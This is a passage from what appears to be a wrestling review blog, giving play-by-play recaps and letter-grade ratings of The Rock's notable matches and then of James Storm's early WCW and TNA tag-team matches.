Another slugout goes to Rock and the spinebuster sets up the Elbow……for TWO. The place is losing their minds on these kickouts and can you blame them a bit? Both guys are spent here but Cena hits a catapult into the corner for two. With nothing left to try, Cena loads up the middle rope AA but Rock shoves him off and tries a top rope cross body but Cena rolls through into the BIG AA for an even closer two. Cena begs the referee to call it three. That gets him nowhere so Cena loads up a People’s Elbow. As he hits the second rope, Rock nips up and hits the Rock Bottom for the shocking pin.

Rating: A+. What else do you want from this? This is one of those matches which could have gone either way as they beat the tar out of each other. They had the big fight atmosphere down to perfection here and while the ending is still questionable (yet not completely wrong), it’s exactly what you want a Wrestlemania main event to be. This somehow surpassed the hype and was excellent in every sense of the word.

Cena sits on the ramp, stunned.

Rock poses to end the show.

I have to have a Foley match on here. From In Your House 27.

WWF World Title: The Rock vs. Mankind

Last man standing meaning there are no pins but the first person to not answer a ten count loses. Also remember Mankind has a bad knee coming in. Mankind turns his back on the Rock to intentionally allow him a cheap shot to start but Rock goes after the bad knee in a smart move. Mankind lets him do it again and Rock blasts him in the back of the head but this time Mankind blasts Rock in the face with the title belt for an eight count.

They fight up to the entrance with Mankind being whipped into a piece of the set. Mankind finds a table near the production arena and DDTs Rock through it for a nine count. Now we head over to some tarped off bleachers for nothing of note before Rock suplexes Mankind onto the exposed concrete. Back to ringside with Rock being whipped into the stairs for a five count before heading back inside. Mankind slams him down and loads up his own version of the People’s Elbow but only hits mat.

Back to the floor again for another suplex on the floor, allowing Rock to go over to the announce table to offer Mankind a Rock Burger with some Rock Sauce on the side. The champion dives across the table to take Rock out before laying him on the announce table and dropping him to the floor with an elbow from the apron. Mankind rips at Rock’s face before throwing both Rock and the steps back inside.

Rock kicks them back into Mankind’s face before bringing in a chair to fire away at Mankind’s knee. Rock misses a big chair shot by hitting the ropes, knocking it back into his face instead. The Cactus Clothesline puts both guys on the floor again and Mankind drags him back to the announce table. He loads up a piledriver through the table but Rock backdrops him off the table and into the timekeeper’s table to hurt the leg even worse. Just to further the injury, Rock goes inside and throws the steps over the top rope to land on Mankind again.

Somehow Mankind gets up again so Rock takes him back inside for the People’s Elbow. Rock grabs the microphone to talk more trash and sing a little Smackdown Hotel. Mankind apparently doesn’t like Elvis tributes and puts on the Mandible Claw but the referee is taken out. Mankind gets him back to the ring and helps start the count but Rock gets up at nine with a low blow.

Rock hits a DDT but Mankind is up at seven for a double arm DDT onto the chair for nine. The Mandible Claw is broken up by a knee to the ribs and the Rock Bottom puts both guys down. Both guys slowly get up and hit each other with chairs, knocking them both out for ten and a draw. Remember that line about there must be a winner? Neither do I.

Rating: B-. Definitely the best match of the night so far but it’s still not all that great. Mankind had definitely earned the right to leave a pay per view as champion so this was a nice treat for him. The ending doesn’t work though as such an emphasis had been put on the match needing a winner.

He had to do it eventually. From Wrestlemania 19, in Austin’s last match. Allegedly this was going to go on last but Austin got sick the night before and the order was changed.

Steve Austin vs. The Rock

Austin pounds away to start but can’t hook an early Stunner. Rock bails to the floor but gets clotheslined down in the aisle. Austin rams him into the steps and chops away before dropping him onto the barricade a few times. Rock is whipped HARD into the steps before they head back inside. A big clothesline puts Rock down but he takes out Austin’s bad knee to send Steve to the floor.

Rock stomps away on the knee as Austin stumbles around ringside. The leg is wrapped around the post but Austin pops up with more right hands. Rock kicks the leg out again and puts on the Sharpshooter, only to have Austin crawl to the rope. JR goes on a big rant against Lawler about how this is a wrestling match and not about puppies or Hollywood. Rock wraps the leg around the post a few more times before heading outside and putting on Austin’s vest.

Austin comes back with a clothesline and the Thesz Press to pound away on Rock. The middle finger elbow keeps Rock down again and it’s time to stomp a mudhole, but Rock comes back with right hands. Austin counters with a Rock Bottom of his own for a very close two. Rock fights up and hits a Stunner of his own out of nowhere for two more. Back up again and Rock pounds away, only to walk into the real Stunner for another close two.

Austin goes to pick Rock up but the guy with Austin’s vest on hits him low to break it up. The People’s Elbow misses but the Stunner is countered into a spinebuster, followed by the removal of the vest and the Elbow for two. A Rock Bottom gets two on Austin, another Rock Bottom gets two but a BIG Rock Bottom is finally enough to end Austin.

Rating: B+. It’s definitely a step or three below the one from two years ago but it’s definitely still entertaining. My problem with it as usual though is that it doesn’t have anything on it. When you have two huge matches between the two before when they were on top and now you get them both well past their primes for nothing but pride, it’s a bit harder to get into it. Still very good, but not as great as their others.

One more title win, from No Way Out 2001.

WWF Title: The Rock vs. Kurt Angle

It’s pretty much one sided as to who is going to win here and even Ross and Tazz acknowledge it. Long staredown to start and we’re on. The straps are down before we even start as we hear about him using some hold called an ankle lock. Rock hits a jumping Russian leg sweep for two. Ankle lock goes on about a minute in but Rock makes the ropes. These two always have had good chemistry together so this should be solid stuff.

A pair of belly to bellies but Rock almost gets dropped on his head the first time. He clearly tucks his head more on the second one so at least he can learn on the fly. Sharpshooter goes on and Angle is in trouble. This is very fast paced so far. A belly to back suplex from Kurt but he didn’t spin slightly so it’s not the Angle Slam. Second rope suplex gets two for Rock.

I’m not sure if I like Rock’s DDT or not. He does it oddly for some reason. And here’s Big Show for no apparent reason. Chokeslams for everyone including the referee. Show’s music plays him out as I expect us to cut to a commercial or something. Angle covers Rock but there’s no referee. He pops Angle with the title as there’s another referee. What a heelish thing to do but Angle gets up anyway.

Ankle lock out of nowhere and Angle drops some nice cursing in there. Rock gets the counter and initiates his ending sequence. The elbow gets two to a huge reaction as everyone thought it was over. Rock Bottom is blocked and there’s the Olympic Slam for two and a freaking ROAR. Rock starts his punches but Angle kicks him in the ankle in a nice counter.

Angle gets rammed into the buckle chest first and walks into the Rock Bottom for….two? Angle did not move at all and the announcers sound very confused. The referee seemingly just stopped counting instead of doing the three. Either that was a botch or there’s something I’m missing here. The fans boo the heck out of it as Rock picks him up and hits another Rock Bottom for the clean pin. That had to be a botch on the first one.

Rating: B. Solid match here, but the Big Show thing was just totally pointless. The ending was just weird though as that had to be a botch though as it just made no sense at all. These two always worked well together and this was no exception. Solid match and definitely worthy of a main event on a PPV.

Eh one more Wrestlemania main event for the road. From 2000.

WWF World Title: The Rock vs. Mick Foley vs. HHH vs. Big Show

There are no tags here, no disqualification and you have to win by pin. Why there are no submissions is beyond me but whatever. Rock and Big Show fight as do the other two with the champion being punched down. Allegedly Foley was told a week before this match that he would be participating so he isn’t in the best of shape. Granted that’s normal for him so maybe it won’t be that big of a deal.

Big Show runs over everyone and gorilla presses HHH and Rock. Foley gets a headbutt but tries to jump on Show’s back, only to have the giant crush him against the mat. Rock comes back with right hands on Big Show but walks into a side slam for no cover. HHH jumps into a chokeslam attempt but Foley breaks it up with a low blow. Everyone triple teams Big Show to a big reaction and a running clothesline from Rock puts him down. They all stomp away at the giant but HHH and Foley just can’t work together that long.

Foley blasts HHH in the ribs with a chair and hits Show in the back with it as well, allowing the Rock Bottom to get rid of the biggest guy in the match. We’re down to three now and Shane is ticked off. HHH offers Foley an alliance against Rock but Foley says no. Instead HHH offers Rock an alliance against Foley but we get a Rock and Sock Connection reunion as HHH gets beaten down. HHH gets punched down and dropped with a double clothesline.

The champion is sent to the floor but the Connection won’t fight each other. Instead they head to the outside and beat up HHH even more to the fans’ delight. Rock picks up the bell but accidentally blasts Foley in the head. Foley gets up quickly and finds a barbed wire 2×4. HHH saves himself with a low blow and a shot to Foley’s ribs with the board. Rock comes back in and is backdropped to the floor, allowing Foley to hit the double arm DDT on HHH. It’s Socko time and Rock adds a belt shot to take HHH down.

Rock loads up the Elbow but Foley puts the Claw on him to break it up. HHH hits them both low to put them both down but Rock gets back up first and pounds away on the champion. Foley gets in a shot to Rock for two and a double arm DDT gets the same. Vince slides in a chair for no apparent reason but Foley gets it first. It gets kicked back into his face by Rock for two as HHH makes the save. Why would he do something like that? A running knee lift gets two on Rock but HHH doesn’t save this time. Interesting.

HHH and Mick start working together for a bit and a knee drop gets two on Rock. They head to the floor with Mick’s knees being sent HARD into the steps. Mick picks up said steps and cracks Rock in the head with them as Stephanie yells at Linda. HHH puts Rock on the table for the Foley elbow through it….but Mick can’t jump that far and crashes ribs first into the edge of the table. HHH hits about three elbows of his own to put Rock through the table as the match continues to drag.

Back inside and HHH Pedigrees Foley for two and a big eruption from the crowd. A BIG chair shot to the head puts Foley down and Linda is panicking. HHH Pedigrees Mick onto the chair and the career is over again. We’re down to two now and HHH is somehow even more hated than he was before. Foley gets a big standing ovation but turns around to come back to the ring. He picks up the barbed wire and blasts HHH in the head to give us one last BANG BANG moment.

We’re finally down to HHH vs. Rock after twenty minutes of glorified preliminary stuff. Rock gets two off the barbed wire stuff and they head up to the stage for the required main event brawling. Rock suplexes HHH down on the concrete and does the same with a clothesline. They head into the crowd for even more “fighting” which means walking with the occasional punching. A backdrop puts HHH back at ringside where Rock picks up the steps, only to have HHH knock them onto Rock with a chair. He pounds on the steps with the chair to crush Rock even further underneath them.

A piledriver on the steps keeps Rock down even longer before we head inside again. The piledriver only gets two and Rock is somehow up again to slug away with right hands. Rock Bottom and Pedigree are both countered with HHH being backdropped out to the floor. Rock hits a kind of spinebuster to put HHH down and there’s a suplex through the table for good measure. Both guys are basically dead now but it’s Rock up first.

Vince can’t handle the lack of the spotlight anymore though and rams HHH into the post. Cue Shane again to take out Vince with a monitor shot to the head but Papa gets up a few seconds later to beat up his son. Shane comes back with a chairshot as we’re ignoring THE MAIN EVENT OF WRESTLEMANIA to see Shane and Vince fight. As a bleeding Vince is taken out, we cut to a shot of Stephanie with the most vapid look you’ll ever see on her face.

We’re allowed to return to the match now with right hands from Rocky. A DDT gets two on the champion as does a tilt-a-whirl slam. HHH comes back with a facebuster and a barbed wire shot to the head of Rock. At least he’s nice enough to loudly ask “ARE YOU OK” before being catapulted into Shane. There’s the Rock Bottom but Rock can’t cover. Instead here’s Vince for the 87th time tonight to slap Shane around. Then, as if you would expect anything else, he turns on Rock with a chair shot. Stephanie still fails at acting as HHH chairs Rock down again for the pin to retain and kill the crowd even deader.

Rating: D+. And that’s being VERY generous. This was the definition of McMahon overkill as it was ALL about them with the match literally being ignored at times while they had their repeated drama. On top of that the match sucked with the first 20 minutes being there to get us to the last 20 minutes which doesn’t do anyone any good. The rest of the match was just a big mess with no real story to it as we were all at the mercy of the McMahons. Instead of focusing on HHH vs. Rock, we had to wait 40 minutes for Vince to turn on Rock for no apparent reason. Also Rock would win the title at Backlash, making this entirely pointless.

From No Mercy 2001, with Rock giving Jericho the rub of a lifetime.

WCW World Title: The Rock vs. Chris Jericho

Feeling out process to start and Rock grabs a headlock. Jericho grabs an armbar but shifts over to chopping instead. Rock Bottom and Walls are both countered so Jericho dropkicks him to the floor. Back in Jericho hits a top rope back elbow for two. They’re starting kind of slow which says to me that they have a ton of time to work with. They chop away in the corner but Rock walks into a spinwheel kick to take him down for two.

Senton backsplash puts Rock down even more. Rock fires off a jumping clothesline but walks into a Stun Gun. Belly to belly by Rock puts both of them down. It’s been mostly Jericho so far but Rock is hitting enough stuff to stay in there. There’s another suplex and a Samoan Drop for two. Jericho knocks him down so Rock nips up. Rock knocks him to the floor for a bit. Back in a vertical suplex gets two for Rocky.

Rock throws him to the floor and once we’re back in, Rock throws on a chinlock for awhile. Jericho gets catapulted into the corner so Rock can load up a superplex. Chris knocks him off and a missile dropkick puts both guys down. Jericho wins a slugout and a rana gets two. Rock comes back but Jericho catches him in a Rock Bottom. Lionsault gets two as this has gotten awesome.

Jericho loads up a People’s Elbow but Rock moves. Because, you know, it’s an elbow. Rock hooks a Sharpshooter and the Canadian is in trouble. Jericho finally gets to the rope and the fans aren’t sure what to do. Out to the floor and it’s Spanish Announce Table time. Rock Bottom puts Jericho through the table and the place pops big. Back in the ring and Rock stalks Chris.

Another Rock Bottom is countered but Rock manages a spinebuster and loads up a People’s Elbow of his own. Jericho picks the ankle into the Walls and Rock is in trouble. Rock reaches for the rope but Jericho pulls him back to the middle. And here’s Stephanie because what’s a great title match without a McMahon? She throws in a chair and Rock DDTs Jericho. She cheers for Rock so Rock brings her in for a Rock Bottom. Jericho catches Rock in a Breakdown (Skull Crushing Finale) onto the chair for the pin, the title and a BIG pop from the crowd.

Rating: A-. I’m bringing this down a bit because of Stephanie. I mean there just was no need for her to be in there. It was minor but what in the world does she need to be there for? Jericho winning is still huge, but it should have been without her out there. The chair is fine, but why did we need her? The match was GREAT otherwise though with them mirroring each other perfectly.

Now for my favorite Rock match and one of my favorites ever. From Summerslam 1998 to blow off DX vs. the Nation once and for all.

Intercontinental Title: The Rock vs. HHH

Rock has held the title since December and there hasn’t been a longer reign since. The DX band plays HHH to the ring. Chyna and Mark Henry are the seconds here. The referee takes a long time to get the belt ready which is why it’s usually above the ring when the match begins. Rock talks some trash and the fight is on. A quick clothesline takes the champion down and a facebuster does the same. HHH escapes the Rock Bottom but gets punched down in the corner.

A quick Pedigree attempt is countered with a backdrop to the floor and Rock goes for the ladder. As is the custom, there’s a fight over who gets to bring the ladder into the ring. HHH takes the fight back to the ring before going after a ladder. This time it’s Rock’s turn to stop the attempt and they fight in the aisle again. Rock gets a ladder up against the ring and whips HHH HARD into the steel.

The champion starts his climb but HHH flies in off the top to break it up, but the ladder falls on him to keep both guys down. A hard ladder shot puts Rock down again and HHH drives the top of the ladder into his ribs. Rock pulls HHH off the ladder and the future Game lands on his knee, legitimately injuring it and requiring several months off to heal up. Some elbows to the knee make the pain even worse but the ladder being dropped on it is far more painful.

Rock puts the leg between the ladder legs and crushes it with the chair for good measure. Now the leg is wrapped around the post and the fans are split. Rock bridges the ladder between the steps and the barricade so he can drop the knee across the steel. The ladder is barely in one piece so Rock’s climbing is very slow, allowing HHH to make a last second save. He also shoves the ladder down until his knee can recover a bit.

Rock is shoved to the floor but he catches HHH in a catapult face first into the ladder. The champion tries to slam the ladder onto HHH but a kick to the ribs makes him drop the ladder. A clothesline puts Rock down but he counters a Pedigree into a backdrop onto the ladder. Mark Henry throws in another ladder but Rock does the slowest climb in recorded history, allowing HHH to shove it down again. HHH baseball slides the top of the ladder into Rock’s face to send him to the floor, busting him open bad.

Now it’s time for HHH to climb up but Rock makes another save to send HHH crashing to the mat. Rock puts a ladder on top of the corner and plants HHH with a DDT. Both guys slowly climb for a slugout on top but it’s HHH being shoved off into the ladder in the corner. With one last rush he shoves Rock’s ladder over to get us back to even again. Chyna slides HHH a chair and knocks the ladder into Rock before beating the chair into the ladder over and over again.

HHH can’t follow up so Rock slams him down onto the ladder and hits a People’s Elbow to get the crowd on his side again. HHH somehow gets up again and tries a climb but makes the mistake of diving onto Rock for a Rock Bottom. Rock goes up but HHH pulls him back down for a Pedigree as JR is losing his mind on these big moves. HHH tries to get up but Henry throws powder in his eyes. A blind HHH goes up but can’t see the belt. Rock goes up as well but it’s Chyna with a low blow, allowing HHH to pull down the belt for the win.

Rating: A+. This was a history making match as these two are officially the future and it was time for Rock to ascend to the top of the company. The match is one of my all time favorites and it’s an overlooked masterpiece because of the series these two had in 2000. These two went to war and had Madison Square Garden, the smark capital of the world, eating out of the palm of their hand. That’s only happened a handful of times ever and this was one of the best ever.

As for the match itself it worked for a variety of reasons. More than anything else though it was due to the ladder being a prop for the guys rather than the focus of the match. The story built around the leg injury and the drama instead of the big spots. It’s very rare that you get a ladder match like this anymore and the match is absolute required viewing as a result.

Is there anything else I could end this with? From the greatest show of all time.

As JR says, the time is upon us.

We recap Austin vs. Rock II which is summed up by one line from Austin: “The fact is Rock, you got the WWF Title and I want it.” This is backed up by the mother of all hype videos, set to My Way by Limp Bizkit. I’m not a fan of their music but this video is AMAZING. Debra was originally involved but thankfully that was dropped after about eight seconds. This was the best kind of build there was: take two superstars who seemingly cannot lose and put them together in a title match. These two beat on each other for months on end until this night arrived.

WWF World Title: Steve Austin vs. The Rock

Heyman says this is the match that both men need to win and neither man can afford to lose. Right before the entrances, Fink tells us that this is now No DQ, which is a surprise to everyone. Austin’s pop is awe inspiring as the face absolutely lose their minds at his entrance. Rock gets a VERY mixed reaction as Austin is a folk hero here in Texas. The brawl is on immediately and Austin hits the Thesz Press and middle finger elbow, only to be taken down by a swinging neckbreaker. The Rock Bottom and Stunner are countered and Austin throws Rock to the floor. We’re maybe 45 seconds in at this point.

They fight into the crowd with Rock taking over with more right hands. Back to ringside with Austin hitting a clothesline to put Rock down before adjusting his knee brace for a bit. They’re back in the ring now with Austin hitting a running crotch attack in 619 position followed by a superplex for the first two count of the match. Austin takes off the turnbuckle pad and pounds away to A LOT of booing from the crowd. A back elbow gets two for Rock before he clotheslines Austin to the floor.

They fight over to the announce table with Austin coming back with a bell shot to the face. Rock is knocked onto the announce table which breaks a few seconds later. We head back inside for Austin to pound away to even more pops from the crowd. Rock comes back with right hands but Austin drops both him and a leg for two. Rock is busted open and Austin chokes away in the corner. Austin stops to yell at the referee and gets his head taken off by a lariat from Rock.

The champion pounds away with right hands before getting the bell. It goes upside the head of the also bloody Austin but only gets two. We’re at the point now where the pinfall attempts get more and more intense. Rock keeps pounding away but Austin won’t stay down. Back to the floor with Austin firing off more fists as JR is in all his glory calling it. A slingshot sends Rock head first into the post and man did he BOUNCE off that thing. Back inside and Rock scoops the legs for the Sharpshooter in a call back to WM 13 where Austin is dripping blood while in the hold. He makes the rope this time though and we keep going.

Rock flips Austin off, earning himself a Sharpshooter from Austin. Well there’s a twist. It’s a terrible Sharpshooter but it gets the job done. Rock powers out though with blood dripping in between his teeth, again ala Mania 13. Back to the Sharpshooter on Rock but he makes the rope this time to escape again. Austin busts out the Million Dollar Dream of all things and the bloody Rock is in trouble. Rock fights up though and we get another callback to a Bret vs. Austin masterpiece with Rock climbing the rope and backflipping onto Austin for two, making him break the hold in the process.

Out of nowhere Rock hits a Stunner on Austin but he can’t follow up. It eventually gets two…and here’s Vince. Austin’s whip spienbuster gets two but he walks into one by Rock which sets up the People’s Elbow. Vince breaks it up though by pulling Rock off Austin, earning himself a death stare from the champion. Now we know something is afoot given the history between Vince and Austin. Rock chases Vince but runs into a Rock Bottom from Austin for another very close two.

The Stunner is countered and Hebner is knocked to the floor, allowing Austin to hit a low blow. Vince brings in a chair and clocks Rock with it on Austin’s instructions, getting another delayed two count. Now the fans are cheering for Rock a lot more but aren’t as pleased when Rock hits a Rock Bottom out of nowhere. Vince gets pulled into the ring for a beatdown but it’s a Stunner to Rock for only two. That probably should have been the finish, but instead Austin gets the chair and gives Rock the mother of all beatdowns with it, hitting him SIXTEEN TIMES. Rock is DEAD and Austin covers the body for the pin and the title.

Rating: A+. Yes there’s kind of weak ending, yes there were some lame points, but it’s Rock vs. Austin II for the world title in the main event of Wrestlemania. This is a masterpiece by definition alone. I think I might be the only person on the planet that likes this turn still, but it was in front of the wrong crowd. If this was ANY other state in the country it would have been booed like there was no tomorrow, but instead gets cheered, which is where the problem came from. Still though, excellent match and worthy of being the main event of the greatest show ever.

The Rock isn’t a guy you put on a list of the greatest of all time. He’s a guy where you figure out who is ahead of him on that list. He’s one of if not the funniest and best talkers ever but people forget how great he was in the ring. Those showdowns he had with Austin are as good of a series as you’ll ever see, with Wrestlemania X7 possibly being the best Wrestlemania main event of all time. Rock is amazing, and the fact that he was as good as he was when he came back eight years later is astounding.

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Wrestler of the Day – May 1: James Storm

Sorry about your luck. Today is James Storm.

This is going to be another one where I have to jump around a lot. Storm has just done so much in TNA that I have to skip over stuff.

Storm got started around 2000 and actually appeared in WCW. From Worldwide in June 2000.

3 Count vs. James Storm/Cassidy Riley/Air Paris

Evan Karagais takes Cassidy down to the mat to start but takes too much time dancing and gets slammed down. Riley tries a springboard but TOTALLY botches it, falling flat on his face. Even a WCW crowd in 2000 can laugh at that. Paris (then partner of AJ Styles) comes in off the top to take over and drops an ax handle to take over. Karagais comes back with a powerslam before it’s off to Moore.

Paris nails a leg lariat but almost drops Shannon in a wheelbarrow slam. Evan trips Paris from the apron and a double team fall away slam/neckbreaker combination gets two on Air. Helms comes in with a superkick and some running legdrops for two. 3 Count starts speeding up the tags but Moore misses a moonsault. Storm comes in off the hot tag and cleans house as everything breaks down. 3 Count clears the ring and hits an assisted wheelbarrow slam on Storm for the pin.

Rating: D. Exactly what I was expecting here and there’s nothing wrong with that at all. This was just a long squash with the jobbers looking better than most people of their level. Storm had some intensity out there and it’s always cool to see a guy like that when he’s first starting, knowing what he’s going to become.

Storm would head to TNA when it first opened and appear on its first card.

Johnsons vs. Psicosis/James Storm

Yes, it’s the tag team that wear masks and full body suits in flesh color.  What do you think they look like? This team actually exists. Storm looks completely different too and it’s not a good thing either. Storm fires off some cap guns. Good for him. OH MAN he looks young. Apparently their names are Richard and Rod, or Dick and Rod. I hate this already. Ryan Shamrock comes out looking hot to watch them.

And now it devolves into nothing but bad jokes. They say Psicosis’ real name for absolutely no apparent reason. Ryan Shamrock, called Alicia, still is there. Storm hits a rana and a very good one at that. They say Storm could be great. Not really but he’s not bad. And then he gets pinned off a bad TKO.

Rating: D+. This was just pointless. It’s like they have nothing but the main event and they know it. This was just freaking awful. The jokes were completely pointless and annoying. I have no clue what they were going for here but whatever.

He would soon hook up with Chris Harris in the team that would become AMW. They were entered in the Gauntlet For the Gold at Weekly PPV #12 to crown the first Tag Team Champions.

Gauntlet for the Gold

There are twenty people (ten teams) in this with two individuals starting. It’s a Royal Rumble style match and when there are two people left, the partners return for a tag match for the vacant titles, which were vacated when AJ/Lynn had a double pin against Jarrett/Killings. Brian Lawler is #1 and James Storm is #2. Lawler crotches him on the ropes before the bell but Storm fires off right hands. Apparently Chris Harris is going to be #20.

Storm pounds away to start and a missile dropkick puts Brian down. With nothing else happening, here’s Jose Maximo at #3. Lawler gets double teamed in the corner for a bit before fighting both guys off. Derek Wyles is #4 but after some headscissors, Lawler throws him out. Joel is dumped too and we’re back to Storm vs. Lawler. Actually scratch that as Lawler eliminates his third guy in a row by sending Storm out. You know, because Brian Lawler is AWESOME.

Buff Bagwell is #5 and he comes in with middle fingers blazing. Oh wait he’s Marcus Bagwell here, despite looking and wrestling like he has for years. Bagwell hits a neckbreaker and pounds away in the corner until Kobain is #6. Lawler again gets to dominate some more talented people until Ace Steele is #7. There’s nothing of note to talk about here as it’s just standing around and slowly beating on each other in the corner with Lawler biting Bagwell’s head.

Jorge Estrada is #8 and gets chopped by Steele. The ring is getting too full now. Lawler hits Bagwell low in the corner and Brian Lee is #9. Hopefully he can throw some of these little men out. We don’t get that of course since that would help the match, so here’s Syxx-Pac at #10. Syxx cleans house and dumps Jose off a chop (yes a chop) before hitting the Bronco Buster on Marcus.

CM Punk (Steele’s partner) is #11 but Steele is thrown out before Punk makes it to the ring. We hear about how impressive it is that Lawler has lasted ELEVEN minutes as Jimmy Rave (Derrick Wylde) is #12. Punk hits a Rey Mysterio sitout bulldog on Rave as there are too many people out there. Ron Harris (Brian Lee) is #13 to give us our first full team. Their dominance is shown as they send Jorge to the apron, but the Karate Elvis (again, seriously) sunset flips Lee down to survive. The second attempt works though and Estrada is gone.

Punk and Rave are tossed by the big guys as well, meaning two full teams are eliminated. Syxx sends out Bagwell and Lawler (no fanfare, which is odd as the announcers have spent ten minutes worshipping the guy) as BG James (Marcus Bagwell) is #14. We get heel miscommunication between Lee and Harris but Road Dogg (blonde here for some reason) gets stomped down I the corner. Joel Maximo (Jose Maximo) is #15 and is out about two seconds later.

Syxx gets hit with a big double spinebuster but since Waltman is a GIANT KILLER he clotheslines both of them down at once. Since we haven’t seen enough of him tonight, here’s Brian Lawler AGAIN to throw out Syxx. Slash (Kobain) is #16 and BG James is triple teamed. Sonni Siaki (Jorge Estrada) is #17 and he goes after Slash to give James a breather.

Disco Inferno (Brian Lawler) is #18 as the match continues to drag. Scott Hall (Syxx Pac) is #19 and he pounds away on Lee. Ron Harris is dumped out and Chris Harris (James Storm) is #20, giving us a final grouping of Hall, Chris Harris, Siaki, Disco, James and Lee. The announcers aren’t sure if Slash was eliminated despite seeing him go over the top. Siaki is dumped and Disco gets caught between Hall and BG until Hall finally knocks him out. Hall and James square off but Lee jumps both guys for stereo eliminations, getting us down to Harris vs. Lee, meaning the battle royal is over.

Rating: D. This was long and dull with the partner thing going almost nowhere. Between that and the worship of Brian Lawler, this never went anywhere. The fast intervals helped, but so many of these people are unknown for the most part, which makes it hard to care about any of them. Also the two giants looked pitiful out there for the most part which didn’t do them any favors.

Tag Titles: James Storm/Chris Harris vs. Brian Lee/Ron Haris

Ron chokeslams James on the stage to start things off as a handicap match. Also here’s Jeff Jarrett to beat up BG James and take the focus off the title match. Lee kicks Chris in the face as AMW (are they even called that yet?) is in big trouble. Chris comes back for a bit but gets clotheslined down for two. West points out the problem here: too many people named James and Harris.

Storm finally gets back in and cleans house, only to get caught in a chokeslam/belly to back suplex combo for no cover. Ron pulls out a table for no apparent reason and lays Storm out on top of it. Lee loads up Chris in a chokeslam but gets rolled up (and into the ropes) to give AMW the pin and the titles.

Rating: D. This was barely even a match with Chris getting beaten down for a few minutes and Storm being on the floor most of the time. The table thing was stupid and the ending was even worse as both guys were in the ropes for the fall and the referee counted it anyway. Nothing to see here, but at least the right team won.

America’s Most Wanted would DOMINATE the tag division for years. Their first major rivals were XXX, who they would face on June 25, 2003 in a cage match.

Tag Titles: Triple X vs. America’s Most Wanted

From June 25, 2003 and inside a cage. This isn’t the famous cage match these teams had but I’ve seen this one before and it’s awesome as well. The champions XXX are comprised of Elix Skipper and Christopher Daniels while the challengers are James Storm/Chris Harris. This is the fifth match but XXX has won via outside interference every single time. This is also TNA’s first ever cage match.

It’s a brawl to start but the referee makes them tag to get on my nerves. Harris bulldogs Daniels down before AMW picks up Skipper and launches him into Daniels. This is pin or submission only, meaning escape doesn’t count. Daniels and Harris are the official starters and the fans chant for the Fallen Angel. Skipper gets in a cheap shot from the apron before throwing him face first into the cage for two. Harris is already busted open.

The champions take turns stomping on Harris’ forehead until Daniels gets two off a springboard moonsault press by Skipper. Harris gets a lucky shot off a running clothesline but Daniels kicks his head off for two. Back to Skipper who sends Harris into the cage again but Harris comes off the ropes with another clothesline. There’s the hot tag to Storm who cleans house, sending Skipper chest first into the cage with a reverse suplex. A powerslam gets two on Daniels but he kicks Storm’s knee out to slow him down.

We get a Kill the Cowboy chant, which is hopefully a remnant from the early days of the company rather than the fans not liking Storm’s current work. The champions hit a suplex/cross body combo on the bloody Storm but Skipper’s ribs are injured from being sent into the cage. Back up and the two of them rams heads, setting up a double tag to Harris and Daniels. Harris takes over with the raw power by ramming Daniels head first into the cage over and over. Skipper’s ribs get reacquainted with the steel as well as Daniels is busted open too.

Harris loads up the Catatonic (spinning Rock Bottom) but Daniels counters into the Angel’s Wings (lifting sitout Pedigree) for a very close two. Everything breaks down and Daniels blocks a reverse tornado DDT by taking Storm onto the top rope for an STO to the mat. Skipper belly to bellys Harris down before sending him into the cage again. Elix goes up top for no apparent reason but gets powerbombed down in a HUGE crash to give Harris a near fall.

Daniels hits Last Rites (Cross Rhodes) on Storm for an even closer two as Harris makes yet another save. Harris and Daniels go up top but Daniels backs away across the rope, allowing Harris to hit a diving spear for an even closer near fall. Skipper takes Harris down with the Play of the Day before going for a very big climb. Elix dives off the top with a high cross body but reinjures his ribs in the process. STORYTELLING BABY!

A delayed cover gets two so Skipper goes up again, only to be knocked down a bit and then out to the floor. Storm superkicks Daniels down and the Death Sentence (spinebuster/legdrop) mostly misses Daniels for two. Skipper tries to climb back in but gets knocked back to the floor. Harris goes up to the very top of the cage for a HUGE Death Sentence to crush Daniels for the pin and the titles.

Rating: A. There’s your price of admission right there. This was all about taking two teams and having them beat the tar out of each other for twenty minutes. On top of that we have the story of Skipper’s ribs in a good piece of psychology, a rarity in matches like these. The amazing thing is these four would top this effort in another cage match at Turning Point the following year. Great match.

AMW would lose the belts in 2004 but get another shot at them on the first episode of Impact, on June 4, 2004.

Tag Titles: America’s Most Wanted vs. Kid Kash/Dallas

AMW is challenging. The idea is Kash and Dallas have been ducking the only team they know can take the titles but tonight they’re out of places to run. The winners here have to defend against the winners of a fan poll next Wednesday night. Kash and Storm get us going with the Cowboy taking him down by the arm. Off to Harris for a clothesline and bulldog for two but Dallas makes the save.

Back to Storm who gets caught in a hot shot, allowing for the tag off to the big man Dallas. We take a break and come back with Storm superkicking Kash down, only to have Dallas make the save at two. Kash goes to the corner and climbs onto Kash’s shoulders but misses the moonsault, allowing for the hot tag off to Harris. A cross body and clothesline get two each on Dallas as everything breaks down. Dallas loads up Storm in a reverse Razor’s Edge before flipping him down onto his back for a frog splash from Kid but Harris spears Kash down. Dallas kicks Harris in the face but Storm rolls him up for the pin and the titles.

Rating: C+. Basic tag formula here with a title change to give the show some historical significance. AMW continues to be the best team ever in TNA as they have that chemistry that you only see in great teams. Kash and Dallas were just placeholder champions until AMW stopped their singles stuff over the last month or so.

Here’s the most famous tag match in TNA history. From Turning Point 2004.

America’s Most Wanted vs. Triple X

This is one of the things that TNA did that was indeed different: sometimes something other than the heavyweight title feud ended the show, which is definitely a good idea here. The six man was just ok but this was a great match. This is in a cage remember. AMW brings in handcuffs. That’s a signature thing for them and they’ll come into play later so remember that.

They have to tag here but I’ll give that ten minutes tops. Daniels and Storm start us off. Is there a significance to the tape that Daniels puts on his left shoulder that I’ve never gotten? I’ve always wondered that. Off to Daniels who kicks Storm in the back to take control. It breaks down quickly and AMW double teams Daniels. Off to Harris as Daniels is already busted open.

Skipper (XXX is Daniels/Elix Skipper if you weren’t sure on that one) gets his team the advantage and gives it back over to Daniels. He’s GUSHING already. Harris takes Skipper down and it’s back to Storm. Powerslam puts Daniels down. They load up the Death Sentence on Skipper but Daniels makes the save. Skipper pulls a towel back and handcuffs Harris to the post. West: “Oh what a dirty trick!” Yes, handcuffing your mortal enemy to a cage and making him defenseless is the same sort of thing you would hear on The Brady Bunch Don. Well called.

XXX double teams Storm and Daniels taunts Harris with the key. They drive the key into the head of Storm and hit a double team powerbomb/elbow combination for two. We get some heel miscommunication and Storm spears Daniels. There’s the key and Harris in free. That’s a nice twist on the hot tag because it’s basically the same thing. Harris cleans house and Storm is back up too.
